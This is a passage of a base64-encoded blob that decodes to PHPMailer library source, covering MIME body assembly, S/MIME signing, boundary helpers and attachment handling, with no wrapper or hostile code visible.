J5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWl